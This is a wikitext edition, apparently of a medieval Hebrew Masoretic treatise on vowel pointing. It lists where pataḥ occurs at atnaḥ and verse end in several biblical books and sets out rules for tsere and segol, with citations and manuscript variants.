אתנחתין דמשלי פתחין י&quot;א, וסימ': {{צ|לְנָבָל}} {{ק|([[משלי יז ז]])}}, {{צ|הֲתָעִיף}} {{ק|([[משלי כג ה]])}}, {{צ|שְׂדֵה}} {{ק|([[משלי כד ל]])}}, {{צ|תִּשְׂבַּ֑עְנָה}} {{ק|([[משלי כז כ]])}}, {{צ|גָּלָה חָצִיר}} {{ק|([[משלי כז כה]])}}, {{צ|(ענוים) [עֲנִיִּים] מֵאֶ֑רֶץ}} {{ק|([[משלי ל יד]])}}, {{צ|לַעֲלוּקָה}} {{ק|([[משלי ל טו]])}}, {{צ|שָׂבְעָה מַּ֑יִם}} {{ק|([[משלי ל טז]])}}, {{צ|עֹרְבֵי נַ֑חַל}} {{ק|([[משלי ל יז]])}}, {{צ|אֶשְׂבַּע}} {{ק|([[משלי ל ט]])}}, {{צ|רָגְזָה אֶ֑רֶץ}} {{ק|([[משלי ל כא]])}}. 

[כי&quot;מ: לית פתח בסו' פסו' דמשלי. לית [פתח ב]אתנח' וסוף פסוק' דרות. לית פתחין באתנח' וסו' פסו' דשיר השירים.] 

אתנח' דקהלת פתח חד, וסימ': {{צ|מְקוֹמְךָ אַל תַּנַּ֑ח}} {{ק|([[קהלת י ד]])}}. 

[כי&quot;מ: לית פתח בסו' פסוק' דקהלת. לית פתחין וסו' פסוק דאיכה.] 

[כי&quot;מ: אתנח' דאסתר חד פתח, וסימ': {{צ|מִשֹּׁמְרֵי הַסַּף}} {{ק|([[אסתר ו ב]])}}.]

[כי&quot;מ: לית פתח בסו' פסוק דאסתר.]

אתנח' דדניאל פתחין י&quot;ט, וסימ': {{צ|הַמֶּלְצַ֑ר}} {{ק|([[דניאל א יא]])}}, {{צ|לְבַיְתֵהּ אֲזַ֑ל}} {{ק|([[דניאל ב יז]])}}, {{צ|וּדְרָעוֹהִי דִּי כְסַ֑ף}} {{ק|([[דניאל ב לב]])}}, {{צ|דִי פַרְזְלָא לֶהֱוֵא בַ֑הּ}} {{ק|([[דניאל ב מא]])}}, {{צ|וּמִנְּהֵין חֲסַ֑ף}} {{ק|([[דניאל ב מב]])}}, {{צ|יָכִל לְשֵׁיזָבוּתַ֑נָא}} {{ק|([[דניאל ג יז]])}}, {{צ|וִידַחֲלִנַּ֑נִי}} {{ק|([[דניאל ד ב]])}}, {{צ|יַרְחִין תְּרֵי עֲשַׂ֑ר}} {{ק|([[דניאל ד כו]])}}, {{צ|קָל מִן שְׁמַיָּא נְפַ֑ל}} {{ק|([[דניאל ד כח]])}}, {{צ|וְרַבְרְבָנַי יְבַע֑וֹן}} {{ק|([[דניאל ד לג]])}}, {{צ|לְרַבְרְבָנוֹהִי אֲלַ֑ף}} {{ק|([[דניאל ה א]])}}, {{צ|לְבֵית מִשְׁתְּיָא עַלַּ֑ת}} {{ק|([[דניאל ה י]])}}, {{צ|וּפִשְׁרֵהּ לְהוֹדָעֻתַ֑נִי}} {{ק|([[דניאל ה טו]])}}, {{צ|לְאָחֳרָן הַ֑ב}} {{ק|([[דניאל ה יז]])}}, {{צ|וְלָא יָדְעִין שַׁבַּ֑חְתָּ}} {{ק|([[דניאל ה כג]])}}, {{צ|רְשַׁ֑מְתָּ}} {{ק|([[דניאל ו יד]])}}, {{צ|עַל גַּבַּ֑הּ}} {{ק|([[דניאל ז ו]])}}, {{צ|אֶתְעֲקַרָה מִן קֳדָמַ֑הּ}} {{ק|([[דניאל ז ח]])}}, [כי&quot;מ: {{צ|יָדוֹ בַּאֲרָצוֹת}} {{ק|([[דניאל יא מב]])}},] {{צ|וַעֲשֵׂה אַל תְּאַחַ֑ר}} {{ק|([[דניאל ט יט]])}}. 

[כי&quot;מ: לית פתח בסו' פסו' דדניאל.]

אתנח' דעזרא פתחין ד', וסימ': {{צ|וּלְהֵיבָלָה כְּסַף וּדְהַ֑ב}} {{ק|([[עזרא ז טו]])}}, {{צ|בִּשְׁאָר כַּסְפָּא וְדַהֲבָה לְמֶעְבַּ֑ד}} {{ק|([[עזרא ז יח]])}}, {{צ|דִּי יִפֶּל לָךְ לְמִנְתַּ֑ן}} {{ק|([[עזרא ז כ]])}}, {{צ|כִּי חָתָן הוּא לִשְׁכַנְיָה בֶן אָרַ֑ח}} {{ק|([[נחמיה ו יח]])}}. 

[כי&quot;מ: סוף פסו' דעזרא י&quot;ג פתחין, וסימ': {{צ|וְאֻשַּׁיָּא יַחִיטוּ}} {{ק|([[עזרא ד יב]])}}, {{צ|הָחָרְבַת}} {{ק|([[עזרא ד טו]])}}, {{צ|מִתְעֲבֶד בַּהּ}} {{ק|([[עזרא ד יט]])}}, {{צ|בִנְיָנָא בָּנַיִן}} {{ק|([[עזרא ה ד]])}}, {{צ|אָסְפַּרְנָא עֲבַדוּ}} {{ק|([[עזרא ו יג]])}}, {{צ|תַּעַבְדוּן}} {{ק|([[עזרא ז יח]])}}, {{צ|תחזקנה}}, {{צ|לֹא הִגַּדְתִּי}} {{ק|([[נחמיה ב טז]])}}, {{צ|(ובנותינו) [וּכְרָמֵינוּ] לַאֲחֵרִים}} {{ק|([[נחמיה ה ה]])}}, {{צ|לֹא אָכַלְתִּי}} {{ק|([[נחמיה ה יד]])}}, {{צ|לְךָ מִשְׁתַּחֲוִים}} {{ק|([[נחמיה ט ו]])}}, {{צ|בַּעֲנָה}} {{ק|([[נחמיה י כח]])}}, {{צ|גֵּי הַחֲרָשִׁים}} {{ק|([[נחמיה יא לה]])}}.] 

[כי&quot;מ: ואע&quot;פ שכתבנו שאין פתח בסו' פסו' באיוב, כבר מצאנו בספרים הבאים מן אלקירואן כ&quot;ה פתחין בסו' פסו', וסימ': {{צ|שָׂגְבוּ יֶֽשַׁע}} {{ק|([[איוב ה יא]])}}, {{צ|תְּבַעֲתַֽנִּי}} {{ק|([[איוב ז יד]] ועוד 2)}}, {{צ|עַכָּבִישׁ מִבְטַחֽוֹ}} {{ק|([[איוב ח יד]])}}, {{צ|תָּם אָנִי וַיַּעְקְשֵֽׁנִי}} {{ק|([[איוב ט כ]])}}, {{צ|אוֹ אֲדַבֵּר וַהֲשִׁיבֵֽנִי}} {{ק|([[איוב יג כב]])}}, {{צ|(חנף) [אֱנוֹשׁ] הֶאֱבַֽדְתָּ}} {{ק|([[איוב יד יט]])}}, {{צ|וְזֶה חָזִיתִי וַאֲסַפֵּֽרָה}} {{ק|([[איוב טו יז]])}}, {{צ|לֹא רַעֲנָנָֽה}} {{ק|([[איוב טו לב]])}}, {{צ|יַאֲמִין בַּחַיִּֽין}} {{ק|([[איוב כד כב]])}}, {{צ|לֹא אֲכַחֵֽד}} {{ק|([[איוב כז יא]])}}, {{צ|אֲבֵלִים יְנַחֵֽם}} {{ק|([[איוב כט כה]])}}, {{צ|כֻתָּנְתִּי יַאַזְרֵֽנִי}} {{ק|([[איוב ל יח]])}}, {{צ|יִכְרְעוּן אֲחֵרִֽין}} {{ק|([[איוב לא י]])}}, {{צ|אַלְמָנָה אֲכַלֶּֽה}} {{ק|([[איוב לא טז]])}}, {{צ|וּמִבֶּטֶן אִמִּי אַנְחֶֽנָּה}} {{ק|([[איוב לא יח]])}}, {{צ|אָמַרְתִּי מִבְטַחִֽי}} {{ק|([[איוב לא כד]])}}, {{צ|(שפתי) [דְּבָרַי] הַאֲזִֽינָה}} {{ק|([[איוב לג א]])}}, {{צ|מַאֲכַל תַּאֲוָֽה}} {{ק|([[איוב לג כ]])}}, {{צ|אַנְשֵׁי רֶֽשַׁע}} {{ק|([[איוב לד ח]])}}, {{צ|הַשָּׁמַיִם יְחַכְּמֵֽנוּ}} {{ק|([[איוב לה יא]])}}, {{צ|וַתְּטַהֲרֵֽם}} {{ק|([[איוב לז כא]])}}, {{צ|לֹא יְעַנֶּֽה}} {{ק|([[איוב לז כג]])}}, {{צ|תְּשַׁלַּֽחְנָה}} {{ק|([[איוב לט ג]])}}, {{צ|רַעְמָֽה}} {{ק|([[איוב לט יט]])}}, {{צ|אַל תּוֹסַֽף}} {{ק|([[איוב מ לב]])}}.] 

[כי&quot;מ: ובמשלי י&quot;ב פתחין, וסימ': {{צ|כָּל תּוֹכַחְתִּֽי}} {{ק|([[משלי א ל]])}}, {{צ|תִנְצְרֶֽכָּה}} {{ק|([[משלי ב יא]])}}, {{צ|כְּסִילִים תְּאַבְּדֵֽם}} {{ק|([[משלי א לב]])}}, {{צ|מְפַלֵּֽס}} {{ק|([[משלי ה כא]])}}, {{צ|לְעַפְעַפֶּֽיךָ}} {{ק|([[משלי ו ד]])}}, {{צ|מְדָנִים בֵּין אַחִֽים}} {{ק|([[משלי ו יט]])}}, {{צ|תִשָּׂרַֽפְנָה}} {{ק|([[משלי ו כז]])}}, {{צ|לַיְלָה וַאֲפֵלָֽה}} {{ק|([[משלי ז ט]])}}, {{צ|יָבִין לַאֲשֻׁרֽוֹ}} {{ק|([[משלי יד טו]])}}, {{צ|יָכִין צַעֲדֽוֹ}} {{ק|([[משלי טז ט]])}}, {{צ|לֹא תִשְׂבַּֽעְנָה}} {{ק|([[משלי כז כ]])}}, {{צ|גֶּבֶר בְּעַלְמָֽה}} {{ק|([[משלי ל יט]])}}.] 

[כי&quot;מ: וברות לית פתח באתנח; וחד פתח בסוף פסוק: {{צ|וַתִּשְׂבַּע וַתֹּתַר}} {{ק|([[רות ב יד]])}}.]

[כי&quot;מ: ובשיר השירים חד פתח באתנ', וסימ': {{צ|פִּתַּח הַסְּמָדַר}} {{ק|([[שה&quot;ש ז יג]])}}; וחד פתח בסו' פסו', וסימ': {{צ|חִבְּלָה יְלָדַֽתְךָ}} {{ק|([[שה&quot;ש ח ה]])}}.] 

[כי&quot;מ: ובקהלת חד פתח בסו' פסו': {{צ|הַכֹּל הֶֽבֶל}} בתראה {{ק|([[קהלת יב ח]] עי&quot;ש)}}.] 

[כי&quot;מ: ובאיכה ב' פתחין בסו' פס', וסימ': {{צ|לָמַֽס}} {{ק|([[איכה א א]])}}, {{צ|וַאֲנִיָּֽה}} {{ק|([[איכה ב ה]])}}.] 

[כי&quot;מ: ובאסתר חד פתח בסו' פסו', וסימ': {{צ|לוֹ לְבַת}} {{ק|([[אסתר ב ז]])}}.] 

[כי&quot;מ: ובדניאל כ&quot;ד פתחין בסו' פסוק, וסימ': {{צ|הַחֲוֹֽנִי}} {{ק|([[דניאל ב ו]])}}, {{צ|תְּ[הַ]חֲוֻנַּֽנִי}} {{ק|([[דניאל ב ט]])}}, {{צ|מִלְּתָא הוֹדַֽע}} {{ק|([[דניאל ב יז]])}}, {{צ|לְמַלְכָּא [יְ]הוֹדַע}} {{ק|([[דניאל ב כה]])}}, {{צ|תִּנְדַּע}} {{ק|([[דניאל ב ל]])}}, {{צ|לְהַחֲוָיָה}} {{ק|([[דניאל ג לב]])}}, {{צ|(ו)יְבַהֲלֻנַּנִי}} {{ק|([[דניאל ד ב]])}}, {{צ|יְהוֹדְעֻנַּנִי}} {{ק|([[דניאל ד ג]] ועוד 1)}}, {{צ|וּפִשְׁרֵהּ אֱמַר}} {{ק|([[דניאל ד ו]])}}, {{צ|יְקִים עֲלַהּ}} {{ק|([[דניאל ד יד]])}}, {{צ|יִתְּנִנַּהּ}} {{ק|([[דניאל ד כב]] ועוד 1)}}, {{צ|מָה עֲבַדְתְּ}} {{ק|([[דניאל ד לב]])}}, {{צ|יִשְׁלַט}} {{ק|([[דניאל ה ז]])}}, {{צ|תִּשְׁלַט}} {{ק|([[דניאל ה טז]])}}, {{צ|יְדַעְתָּ}} {{ק|([[דניאל ה כב]])}}, {{צ|(ו)לָא הַדַּרְתָּ}} {{ק|([[דניאל ה כג]])}}, {{צ|וְהַשְׁלְמַהּ}} {{ק|([[דניאל ה כו]])}}, {{צ|בֵּאדַיִן… אֲזַל}} {{ק|([[דניאל ו כ]])}}, {{צ|יְהִיב לַהּ}} {{ק|([[דניאל ז ד]] ועוד 2)}}, {{צ|רֵאשִׁי יְבַהֲלֻנַּנִי}} {{ק|([[דניאל ז טו]])}}, {{צ|רַב מִן חַבְרָתַהּ}} {{ק|([[דניאל ז כ]])}}, {{צ|וְתַדְּקִנַּהּ}} {{ק|([[דניאל ז כג]])}}, {{צ|וּלְהַשְׂכִּיל}} {{ק|([[דניאל ט יג]])}}, {{צ|מִיכָאֵל שַׂרְכֶם}} {{ק|([[דניאל י כא]])}}.]

שלמו מחלקות קמץ ופתח.

==1.6==
עתה אבאר שימושי צירי וסגול התחתון ואת מחלקותם, באי זה עניין יתיישבו שניהם. 

עתה דע והבן, שכל {{צ|אֵל}} שהוא קודש הוא ננקד בצירי, כגון {{צ|אֵל גָּדוֹל וְנוֹרָא}} {{ק|([[דברים ז כא]])}}, {{צ|הָאֵל הַגָּדֹל הַגִּבֹּר וְהַנּוֹרָא}} {{ק|([[דברים י יז]])}}. וגם אם הוא לשון חוזק או בלשון אֵלה, כגון {{צ|בְּיַד אֵיל גּוֹיִם}} {{ק|([[יחזקאל לא יא]])}}, {{צ|יֶשׁ לְאֵל יָדִי}} {{ק|([[בראשית לא כט]])}}, וכגון {{צ|אֶת כָּל הָאֲרָצֹת הָאֵל}} {{ק|([[בראשית כו ג]])}}, כולהון ננקדים בצירי. אבל אם הוא לשון משרת, כגון [כי&quot;מ: {{צ|אֶל מֹשֶׁה וְאֶל אַהֲרֹן}} {{ק|([[שמות ו יג]])}},] {{צ|וְאֶל הַבָּקָר}} {{ק|([[בראשית יח ז]])}}, {{צ|אֶל אֹהֶל מוֹעֵד}} {{ק|([[שמות כח מג]])}}, [כי&quot;פ: וכגון] [כי&quot;מ: או אם הוא נתמה בה&quot;י כגון,] {{צ|הַאֶל אֲדֹנֶיךָ וְאֵלֶיךָ}} {{ק|([[ישעיהו לו יב]])}}, הן ננקדין בסגול. 

וכל {{צ|אֵת}} שהוא עומד בטעם או במשרת, ננקד בצירי, כגון {{צ|וְעָשִׂיתָ אֵ֖ת חֲצַר הַמִּשְׁכָּן}} {{ק|([[שמות כז ט]])}}, {{צ|וְאֵ֖ת פָּרֹכֶת הַמָּסָךְ}} {{ק|([[שמות לה יב]])}}, {{צ|אֵ֥ת הַשָּׁמַיִם וְאֵ֖ת הָאָרֶץ}} {{ק|([[בראשית א א]])}}. ואם הוא בא במקף עם התיבה שלאחריו, כגון {{צ|אֶת־הָאָרֹן וְאֶת־בַּדָּיו}} {{ק|([[שמות לה יב]])}}, {{צ|וְאֶת־הַכַּפֹּרֶת}} {{ק|([[שמות לא ז]])}}, הוא ננקד בסגול. בר מן ד' שאף על פי שהן עומדין במשרת הן נפתחין בניקוד צירי, ואלו הן: {{צ|אֶ֥ת כָּל גָּבֹהַּ יִרְאֶה}} {{ק|([[איוב מא כו]] עי&quot;ש)}}, {{צ|אֶ֥ת אֲרַם נַהֲרַיִם}} {{ק|([[תהלים ס ב]])}}, {{צ|אֶ֥ת גְּאוֹן יַעֲקֹב}} {{ק|([[תהלים מז ה]])}}, {{צ|כִּי אֶ֥ת אֲשֶׁר יֶאֱהַב יְיָ יוֹכִיחַ}} {{ק|([[משלי ג יב]])}}.

ועוד דע והבן: כל {{צ|בֵּן}} שהוא עומד בטעם או במשרת, הוא ננקד בצירי, כגון {{צ|וּלְשָׂרָה בֵֽן}} {{ק|([[בראשית יח יד]])}}, {{צ|וַתֵּלֶד בֵּ֔ן}} {{ק|([[בראשית ד כה]])}}, [כי&quot;מ: {{צ|כִּי אֵין לוֹ בֵּ֑ן}} {{ק|([[במדבר כז ד]])}}]. בר מן ז' שהן עומדין במשרת ופתח, וסימ': {{צ|הַלְּבֶ֤ן מֵאָה שָׁנָה יִוָּלֵד}} {{ק|([[בראשית יז יז]])}}, {{צ|וְשָׁחַט אֶת־בֶּ֥ן הַבָּקָר}} {{ק|([[ויקרא א ה]])}}, {{צ|בֶּ֚ן הַיִּשְׂרְאֵלִית}} {{ק|([[ויקרא כד י]])}}, {{צ|וְאֶת זְכַרְיָהוּ בֶּ֥ן יְבֶרֶכְיָהוּ}} {{ק|([[ישעיהו ח ב]])}}, {{צ|זְכַרְיָה בֶּ֣ן מְשֶׁלֶמְיָה}} {{ק|([[דה&quot;א ט כא]])}}, {{צ|בֶּ֣ן יָאִיר בֶּן שִׁמְעִי}} {{ק|([[אסתר ב ה]])}}, {{צ|אֶת בַּת מְשֻׁלָּם בֶּ֥ן בֶּרֶכְיָה}} {{ק|([[נחמיה ו יח]])}}. 

ואם הוא במקף, כגון {{צ|בֶּן־יִצְהָר בֶּן־קְהָת בֶּן־לֵוִי}} {{ק|([[במדבר טז א]])}}, הוא ננקד בסגול, בר מן ד' קמצין: {{צ|וַתֵּלֶד בֵּן־שִׁשִּׁי לְיַעֲקֹב}} {{ק|([[בראשית ל יט]])}}, {{צ|וַיִּמָּלֵט בֵּן־אֶחָד לַאֲחִימֶלֶךְ בֶּן אֲחִטוּב}} {{ק|([[ש&quot;א כב כ]])}}, {{צ|וְלִמְפִיבֹשֶׁת בֵּן־קָטָן}} {{ק|([[ש&quot;ב ט יב]])}}, {{צ|וְהוֹלִיד בֵּן־פָּרִיץ}} {{ק|([[יחזקאל יח י]])}}. 

וכל {{צ|בֵּין}} שיתכן להיות בו יו&quot;ד הנקרא כמו בֵּנְתַּיִם, כגון {{צ|בֵּין הָאוֹר וּבֵין הַחֹשֶׁךְ}} {{ק|([[בראשית א ד]])}}, בין שיהיה בו טעם או משרת ובין בא במקף, ננקד בצירי. 

ועוד דע וראה שכל מקום שתמצא {{צ|הֵן}} בכל המקרא הוא ננקד בצירי, בר מן ה' שהן ננקדין בסגול, וסימן: {{צ|הֶן־עָם֙ כְּלָבִיא יָקוּם}} {{ק|([[במדבר כג כד]])}}, {{צ|הֶן־עָם֙ לְבָדָד יִשְׁכֹּן}} {{ק|([[במדבר כג ט]])}}, {{צ|הֶן־ה֭וּא מְשׂוֹשׂ דַּרְכּוֹ}} {{ק|([[איוב ח יט]])}}, {{צ|הֶן־תָּ֭וִי}} {{ק|([[איוב לא לה]])}}, {{צ|הֶן־זֹ֣את}} {{ק|([[איוב לג יב]])}}. וכל דסמיך {{צ|כֹּל}} {{ק|([[איוב יג א]] ועוד 1)}}, {{צ|אֵל}} {{ק|([[איוב ח כ]] ועוד 3)}}, {{צ|אֵלֶּה}} {{ק|([[איוב כו יד]])}}, דכוותהון ננקדין בסגול ובאים במקף עם התיבה שלאחריהן באות הראשונה שלתיבה. וכל שהטעם ניתק לאות השנייה או השלישית, הוא ננקד בצירי, כגון {{צ|הֵ֣ן הֵ֜נָּה}} {{ק|([[במדבר לא טז]])}}. 

וכדרך {{צ|הֵן}} כן מנהג {{צ|שֵׁשׁ}}, כגון {{צ|שֵׁשׁ־הַשְּׂעֹרִ֥ים הָאֵלֶּה}} {{ק|([[רות ג יז]])}} ננקד בצירי, מפני שהטעם הסמוך לו אינו בא באות הראשונה; [כי&quot;פ: אבל {{צ|שֶׁשׁ־הֵ֭נָּה שָׂנֵא יְיָ}} {{ק|([[משלי ו טז]])}} הוא ננקד בסגול, מפני שהטעם בא באות הראשונה. וכל {{צ|שֵׁשׁ מָשְׁזָר}} {{ק|([[שמות כו א]])}}, {{צ|וְאֶת הַשֵּׁשׁ}} {{ק|([[שמות כח ה]])}}, קמצין.] 

[כי&quot;פ: וכן דרך {{צ|יֵשׁ}}, {{צ|שֵׁן}}, {{צ|כֶּן־הוּא}} {{ק|([[בראשית מד י]])}}, {{צ|יֶשׁ־הֶבֶל}} {{ק|([[קהלת ח יד]])}}, {{צ|יֶשׁ־לָנוּ אָב זָקֵן}} {{ק|([[בראשית מד כ]])}}, {{צ|מַה־יֶּשׁ לָךְ בַּבָּיִת}} {{ק|([[מ&quot;ב ד ב]])}}, {{צ|עַל שֶׁן־סֶלַע וּמְצוּדָה}} {{ק|([[איוב לט כח]])}}, {{צ|הִנֵּה זֹאת חֲקַרְנוּהָ כֶּן־הִיא}} {{ק|([[איוב ה כז]])}}, {{צ|כִּי כְּמוֹ שָׁעַר בְּנַפְשׁוֹ כֶּן־הוּא}} {{ק|([[משלי כג ז]])}}. וגם {{צ|לָ֤תֶת לָנוּ}} {{ק|([[דברים ו כג]])}}, {{צ|הָרְאֻיוֹת לָֽתֶת־לָ֖הּ}} {{ק|([[אסתר ב ט]])}}, כמו כן, הואיל שהטעם באות הראשנה. וגם {{צ|בְּלֶב יָם}} {{ק|([[שמות טו ח]])}} כמו כן.] 

[כי&quot;מ: וכל {{צ|שֶׁן}} שהוא במקף ננקד בסגול כגון {{צ|שֶׁן־בְּשֵׁן}} {{ק|([[דברים יט כא]] עי&quot;ש)}}, {{צ|עַל שֶׁן סֶלַע וּמְצוּדָה}} {{ק|([[איוב לט כח]])}}. אבל {{צ|שֵׁן}} העומד בטעם או במשרת, כגון {{צ|וְשֵׁ֤ן בְּהֵמֹת}} {{ק|([[דברים לב כד]] עי&quot;ש)}}, ננקד בצירי.] 

[כי&quot;מ: וכל {{צ|יֶשׁ}} שהוא במקף ננקד בסגול, כגון {{צ|יֶשׁ־הֶבֶל}} {{ק|([[קהלת ח יד]])}}, {{צ|יֶשׁ־לָנוּ אָב זָקֵן}} {{ק|([[בראשית מד כ]])}}, {{צ|יֶּשׁ־לָךְ בַּבָּיִת}} {{ק|([[מ&quot;ב ד ב]])}}; אבל {{צ|וְיֵ֤שׁ יְיָ עִמָּנוּ}} {{ק|([[שופטים ו יג]])}}, {{צ|יֵ֛שׁ וָיֵשׁ}} {{ק|([[מ&quot;ב י טו]])}}, ננקד בצירי.] 

[כי&quot;מ: וכל {{צ|כֶּן}} הבא במקף, כגון {{צ|הִנֵּה זֹאת חֲקַרְנוּהָ כֶּן־הִיא}} {{ק|([[איוב ה כז]])}}, {{צ|כִּי כְּמוֹ שָׁעַר בְּנַפְשׁוֹ כֶּן הוּא}} {{ק|([[משלי כג ז]])}}, ננקד בסגול; אבל {{צ|וַיְהִי כֵֽן}} {{ק|([[בראשית א ז]])}}, {{צ|וַתֹּאמֶר כֵּ֗ן}} {{ק|([[יהושע ב ד]])}}, {{צ|לֹא כֵ֗ן לְכוּ נָא}} {{ק|([[שמות י יא]])}}, ננקד בצירי.]

[כי&quot;מ: וכל {{צ|לָ֤תֶת לָנוּ}} {{ק|([[דברים ו כג]] ועוד רבים)}}, {{צ|הָרְאֻיוֹת לָֽתֶת־לָהּ}} {{ק|([[אסתר ב ט]])}}, כמו כן, הואיל שהטעם באות ראשונה.] 

[כי&quot;מ: וגם {{צ|בְּלֶב יָם}} {{ק|([[שמות טו ח]])}} כמו כן, אבל {{צ|וְנָמֵס כָּל לֵב}} {{ק|([[יחזקאל כא יב]])}} ננקד בצירי.]

[כי&quot;מ: וכל {{צ|גֵּר}}, {{צ|הַגֵּר}}, {{צ|לַגֵּר}}, ננקד בצירי.]

כל {{צ|שֵׁם}} שבמקרא בצירי [כי&quot;פ: הוא בא, בין דבוק ובין אינו דבוק]. בר מן ו', וסימן: {{צ|וַיִּקְרָא אַבְרָם שֶׁם־בְּנוֹ}} {{ק|([[בראשית טז טו]])}}, {{צ|עַל שֶׁם־שֶׁמֶר}} {{ק|([[מ&quot;א טז כד]])}}, {{צ|וְגַם שֶׁם־עִיר הֲמוֹנָה}} {{ק|([[יחזקאל לט טז]])}}, [כי&quot;פ: {{צ|וַיִּקְרָא אַבְרָהָם אֶת־שֶׁם־בְּנוֹ}} {{ק|([[בראשית כא ג]])}}, {{צ|מַה שְּׁמוֹ וּמַה־שֶּׁם־בְּנוֹ}} {{ק|([[משלי ל ד]])}},] {{צ|וַיְהִי שֶׁם־בְּנוֹ הַבְּכוֹר יוֹאֵל}} {{ק|([[ש&quot;א ח ב]])}}, וכך הם מסורין במסורת. וכל {{צ|שֵׁם חָם וָיָפֶת}} {{ק|([[בראשית י א]])}} בצירי קמצין. 

[כי&quot;מ: כל {{צ|מַכֵּה}} שבמקרא קמצין, בר מן ה' פתחין, וסימ': {{צ|מִצְרִי}} {{ק|([[שמות ב יא]])}}, {{צ|בַּמַּטֶּה}} {{ק|([[שמות ז יז]])}}, {{צ|וּבְקַשְׁתְּךָ}} {{ק|([[מ&quot;ב ו כב]])}}, {{צ|עַמִּים}} {{ק|([[ישעיהו יד ו]])}}, (תהום) [{{צ|תָחוֹס}} {{ק|([[יחזקאל ז ט]])}}].]

[כי&quot;מ: כל {{צ|עַל}} {{צ|וְעַל}} שבמקרא פתחין משום שהן דבוקין – {{צ|עַל כֵּן}} – בר מן ב' קמצין: {{צ|הֻקַם עָל}} {{ק|([[ש&quot;ב כג א]])}}, {{צ|יָשׁוּבוּ לֹא עָל}} {{ק|([[הושע ז טז]])}}, שהן עומדין.]

ועוד הבן בזה השער: כל מקום שתמצא {{צ|תֵּלֵךְ}}, {{צ|יֵלֵךְ}}, {{צ|תֵּלֵד}}, {{צ|יֵשֵׁב}}, {{צ|תֵּשֵׁב}}, שהן להבא, כולהון בצירי ננקדין, כגון {{צ|וְהָיָה כִּי תֵלֵךְ עִמָּנוּ}} {{ק|([[במדבר י לב]])}}, {{צ|יֵלֶךְ נָא אֲדֹנָי}} {{ק|([[שמות לד ט]])}}, {{צ|אֲשֶׁר תֵּלֵד לְךָ שָׂרָה}} {{ק|([[בראשית יז כא]])}}, {{צ|כִּי תֵשֵׁב לִלְחוֹם אֶת מוֹשֵׁל}} {{ק|([[משלי כג א]])}}, {{צ|יֵשֵׁב נָא}} {{ק|([[בראשית מד לג]] עי&quot;ש)}} וכל דומיהן, ננקדין בצירי. 

ואם נוספה וי&quot;ו בראש התיבה תתכן אותה התיבה לשעבר, כגון {{צ|וַתֵּלֶד שָׂרָה אֵשֶׁת אֲדֹנִי}} {{ק|([[בראשית כד לו]])}}, {{צ|וַתֵּלֶךְ וַתֵּשֶׁב לָהּ מִנֶּגֶד}} {{ק|([[בראשית כא טז]])}}, {{צ|וַיֵּלֶךְ מֹשֶׁה}} {{ק|([[שמות ד יח]])}}, {{צ|וַיֵּשֶׁב בְּאֶרֶץ מִדְיָן}} {{ק|([[שמות ב טו]])}}, הן וכל דומיהן הראשון בצירי והשני בסגול. 

ואם תתכן התיבה להיות להבא, אף על פי שיהיה וי&quot;ו בראש התיבה, כגון וְיֵלֵךְ, וְיֵשֵׁב, הואיל שהוי&quot;ו ננקדת בשבא, נשמעת המילה להבא, ותתכן להיות כולה בצירי. וגם {{צ|תֵּרֵא אַשְׁקְלוֹן}} {{ק|([[זכריה ט ה]] עי&quot;ש)}}, {{צ|וְתֵרֵא אֹיַבְתִּי}} {{ק|([[מיכה ז י]] עי&quot;ש)}}, כוותהון קמצין ולהבא. אבל {{צ|וַתֵּרֶא בְּאֵר מָיִם}} {{ק|([[בראשית כא יט]])}} [כי&quot;פ: הנראה] [כי&quot;מ: {{צ|וַתֵּ֣רֶא הָאָתוֹן}} {{ק|([[במדבר כב כג]])}}, שהן] לשעבר, חציו בצירי וחציו בסגול.

וכל אלו התיבות שהם לשעבר הטעם מלעיל, ואלו שהן להבא הטעם מלרע. אבל {{צ|וַתֵּצֵא}}, {{צ|תֵּצֵא}}, {{צ|וְתֵצֵא}}, יוצאין מתנאי זה, שאפילו הן לשעבר הן ננקדין בצירי. 

ועוד אודיעך: כל {{צ|אֹמֶר}}, {{צ|אֹכֶל}}, {{צ|אֹמֶן}} שם, כגון {{צ|אֵֽין־אֹ֭מֶר וְאֵין דְּבָרִים}} {{ק|([[תהלים יט ד]])}}, {{צ|אֹ֣כֶל בַּכֶּסֶף תַּשְׁבִּרֵנִי}} {{ק|([[דברים ב כח]])}}, {{צ|אֱמוּנָה אֹֽמֶן}} {{ק|([[ישעיהו כה א]])}} הן ודומיהן ננקדין בסגול וטעמן לעיל. ואם התיבה לשון פועֵל, כגון {{צ|אֹמֵ֣ר אָנִי מַעֲשַׂי}} {{ק|([[תהלים מה ב]])}}, {{צ|צַדִּיק אֹ֭כֵל לְשֹׂבַע נַפְשׁוֹ}} {{ק|([[משלי יג כה]])}}, {{צ|וַיְהִי אֹמֵ֜ן אֶת הֲדַסָּה}} {{ק|([[אסתר ב ז]])}}, וכל הדומין להן, ננקדין בצירי וטעמן לרע. 

ובכל מקום שתמצא תיבה שהיא לשון ציווי ובאה ה&quot;א בסוף התיבה, כגון {{צ|צַוֵּה יְשׁוּעוֹת יַעֲקֹב}} {{ק|([[תהלים מד ה]])}}, {{צ|הַטּוֹב בְּעֵינֶיךָ עֲשֵׂה}} {{ק|([[ש&quot;א יד מ]])}}, {{צ|בְּנֵה לְךָ בַיִת}} {{ק|([[מ&quot;א ב לו]])}}, [כי&quot;פ: {{צ|רְאֵה אָנֹכִי}} {{ק|([[דברים יא כו]])}}] [כי&quot;מ: {{צ|רְאֵה אֱלֹהִים עֵד}} {{ק|([[בראשית לא נ]])}}], הן וכל דומיהן ננקדין בצירי. 

ואם נוספה עליהם אחת מאותיות אית&quot;ן בראש התיבה, כגון {{צ|אֶעֱשֶׂה}}, {{צ|אֶבְנֶה}}, {{צ|אֶרְאֶה}}, {{צ|אֲצַוֶּה}}, {{צ|יַעֲשֶׂה}}, {{צ|יִבְנֶה}}, {{צ|יִרְאֶה}}, {{צ|יְצַוֶּה}}, {{צ|תַּעֲשֶׂה}}, {{צ|תִּבְנֶה}}, {{צ|תִּרְאֶה}}, {{צ|תְּצַוֶּה}}, {{צ|נַעֲשֶׂה}}, {{צ|נִבְנֶה}}, {{צ|נִרְאֶה}}, {{צ|נְצַוֶּה}}, הן ננקדין בסגול, וכל דומיהן, ואלו ואלו טעמם לרע. 

